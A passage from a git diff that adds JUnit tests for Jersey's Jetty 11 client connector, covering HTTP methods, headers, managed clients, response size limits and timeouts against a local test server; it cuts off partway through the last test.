assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + + @Test + public void testMissingResourceNotFound() { + Response response; + + response = target().path(ROOT_PATH + "arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + + response = target().path(ROOT_PATH).path("arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + } + + @Test + public void testLoggingFilterClientClass() { + Client client = client(); + client.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterClientInstance() { + Client client = client(); + client.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterTargetClass() { + WebTarget target = target().path(ROOT_PATH); + target.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterTargetInstance() { + WebTarget target = target().path(ROOT_PATH); + target.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testConfigurationUpdate() { + Client client1 = client(); + client1.register(CustomLoggingFilter.class).property("foo", "bar"); + + Client client = ClientBuilder.newClient(client1.getConfiguration()); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java new file mode 100644 index 0000000..c40b811 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
@@ -0,0 +1,101 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.List; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Tests the headers. + * + * @author Stepan Kopriva + */ +public class HttpHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java new file mode 100644 index 0000000..eeafa01 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
@@ -0,0 +1,256 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.io.IOException; +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.DynamicFeature; +import jakarta.ws.rs.container.ResourceInfo; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ClientBinding; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.Uri; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Jersey programmatic managed client test + * + * @author Marek Potociar + */ +public class ManagedClientTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName()); + + /** + * Managed client configuration for client A. + */ + @ClientBinding(configClass = MyClientAConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public static @interface ClientA { + } + + /** + * Managed client configuration for client B. + */ + @ClientBinding(configClass = MyClientBConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public @interface ClientB { + } + + /** + * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance + * to every method that is annotated with {@link Require @Require} internal feature + * annotation. + */ + public static class CustomHeaderFeature implements DynamicFeature { + + /** + * A method annotation to be placed on those resource methods to which a validating + * {@link CustomHeaderFilter} instance should be added. + */ + @Retention(RetentionPolicy.RUNTIME) + @Documented + @Target(ElementType.METHOD) + public static @interface Require { + + /** + * Expected custom header name to be validated by the {@link CustomHeaderFilter}. + */ + public String headerName(); + + /** + * Expected custom header value to be validated by the {@link CustomHeaderFilter}. + */ + public String headerValue(); + } + + @Override + public void configure(ResourceInfo resourceInfo, FeatureContext context) { + final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class); + if (va != null) { + context.register(new CustomHeaderFilter(va.headerName(), va.headerValue())); + } + } + } + + /** + * A filter for appending and validating custom headers. + * <p> + * On the client side, appends a new custom request header with a configured name and value to each outgoing request. + * </p> + * <p> + * On the server side, validates that each request has a custom header with a configured name and value. + * If the validation fails a HTTP 403 response is returned. + * </p> + */ + public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter { + + private final String headerName; + private final String headerValue; + + public CustomHeaderFilter(String headerName, String headerValue) { + if (headerName == null || headerValue == null) { + throw new IllegalArgumentException("Header name and value must not be null."); + } + this.headerName = headerName; + this.headerValue = headerValue; + } + + @Override + public void filter(ContainerRequestContext ctx) throws IOException { // validate + if (!headerValue.equals(ctx.getHeaderString(headerName))) { + ctx.abortWith(Response.status(Response.Status.FORBIDDEN) + .type(MediaType.TEXT_PLAIN) + .entity(String + .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue)) + .build()); + } + } + + @Override + public void filter(ClientRequestContext ctx) throws IOException { // append + ctx.getHeaders().putSingle(headerName, headerValue); + } + } + + /** + * Internal resource accessed from the managed client resource. + */ + @Path("internal") + public static class InternalResource { + + @GET + @Path("a") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a") + public String getA() { + return "a"; + } + + @GET + @Path("b") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b") + public String getB() { + return "b"; + } + } + + /** + * A resource that uses managed clients to retrieve values of internal + * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter} + * and require a specific custom header in a request to be set to a specific value. + * <p> + * Properly configured managed clients have a {@code CustomHeaderFilter} instance + * configured to insert the {@link CustomHeaderFeature.Require required} custom header + * with a proper value into the outgoing client requests. + * </p> + */ + @Path("public") + public static class PublicResource { + + @Uri("a") + @ClientA // resolves to <base>/internal/a + private WebTarget targetA; + + @GET + @Produces("text/plain") + @Path("a") + public String getTargetA() { + return targetA.request(MediaType.TEXT_PLAIN).get(String.class); + } + + @GET + @Produces("text/plain") + @Path("b") + public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) { + return targetB.request(MediaType.TEXT_PLAIN).get(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class) + .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal"); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + public static class MyClientAConfig extends ClientConfig { + + public MyClientAConfig() { + this.register(new CustomHeaderFilter("custom-header", "a")); + } + } + + public static class MyClientBConfig extends ClientConfig { + + public MyClientBConfig() { + this.register(new CustomHeaderFilter("custom-header", "b")); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + /** + * Test that a connection via managed clients works properly. + * + * @throws Exception in case of test failure. + */ + @Test + public void testManagedClient() throws Exception { + final WebTarget resource = target().path("public").path("{name}"); + Response response; + + response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("a", response.readEntity(String.class)); + + response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("b", response.readEntity(String.class)); + } + +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java new file mode 100644 index 0000000..dc366d1 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
@@ -0,0 +1,153 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.concurrent.ExecutionException; +import java.util.logging.Logger; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.PATCH; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.PUT; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Tests the Http methods. + * + * @author Stepan Kopriva + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class MethodTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class HttpMethodResource { + @GET + public String get() { + return "GET"; + } + + @POST + public String post(String entity) { + return entity; + } + + @PUT + public String put(String entity) { + return entity; + } + + @PATCH + public String patch(String entity) { + return entity; + } + + @DELETE + public String delete() { + return "DELETE"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testGet() { + Response response = target(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().get().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testPost() { + Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN)); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get(); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPut() { + Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testPutAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get(); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testDelete() { + Response response = target(PATH).request().delete(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testDeleteAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().delete().get(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testPatch() { + Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN)); + assertEquals("PATCH", response.readEntity(String.class)); + } + + @Test + public void testOptionsWithEntity() { + Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java new file mode 100644 index 0000000..d4b3f2e --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
@@ -0,0 +1,102 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.Response.Status; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class NoEntityTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @GET + public Response get() { + return Response.status(Status.CONFLICT).build(); + } + + @POST + public void post(String entity) { + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testGet() { + WebTarget r = target("test"); + + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testPost() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + } + } + + @Test + public void testPostWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + cr.close(); + } + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java new file mode 100644 index 0000000..32c71bb --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
@@ -0,0 +1,171 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.net.URI; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * Default synchronous jetty client implementation has a hard response size limit of 2MiB. + * When response is too big, a processing exception is thrown. + * The original code path was left to preserve this behaviour but could be removed + * and reworked in the future with a custom listener like async path. + * + * This tests the previous behavior with large payloads (>2MiB), the new size override (4MiB) + * and very big payloads (>4MiB). + * + * @author cen1 (cen.is.imba at gmail.com) + */ +public class SyncResponseSizeTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName()); + + private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB + + @Path("/test") + public static class TimeoutResource { + + private static final byte[] data = new byte[maxBufferSize]; + + static { + Byte b = "a".getBytes()[0]; + for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue(); + } + + @GET + @Path("/small") + public String getSmall() { + return "GET"; + } + + @GET + @Path("/big") + public String getBig() { + return new String(data); + } + + @GET + @Path("/verybig") + public String getVeryBig() { + return new String(data) + "a"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testDefaultSmall() { + Response r = target("test/small").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDefaultTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyConnectorProvider()); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/big").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } + + @Test + public void testCustomBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + Response r = t.path("test/big").request().get(); + String p = r.readEntity(String.class); + assertEquals(p.length(), maxBufferSize); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testCustomTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/verybig").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } +}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java new file mode 100644 index 0000000..cb8d0e2 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
@@ -0,0 +1,245 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.net.URI; +import java.nio.charset.StandardCharsets; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import jakarta.ws.rs.DefaultValue; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.QueryParam; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.StreamingOutput; + +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * @author Martin Matula + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class TimeoutTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class TimeoutResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("timeout") + public String getTimeout() { + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return "GET"; + } + + /** + * Long-running streaming request + * + * @param count number of packets send + * @param pauseMillis pause between each packets + */ + @GET + @Path("stream") + public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count, + @QueryParam("pauseMillis") int pauseMillis) { + StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis); + + return Response.ok(streamingOutput) + .build(); + } + } + + private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) { + + return output -> { + try { + TimeUnit.MILLISECONDS.sleep(startMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + output.write("begin\n".getBytes(StandardCharsets.UTF_8)); + output.flush(); + for (int i = 0; i < count; i++) { + try { + TimeUnit.MILLISECONDS.sleep(pauseMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8)); + output.flush(); + } + output.write("end".getBytes(StandardCharsets.UTF_8)); + }; + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testFast() { + Response r = target("test").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testSlow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testTimeoutInRequest() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + @Disabled("Test fails with grizzly2 container") // TODO: evaluate, why this test fails with grizzly2 + public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + final Response response = target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + assertTrue(response.readEntity(String.class).contains("end")); + } + + @Test + public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(JettyClientProperties.TOTAL_TIMEOUT, 100L) + 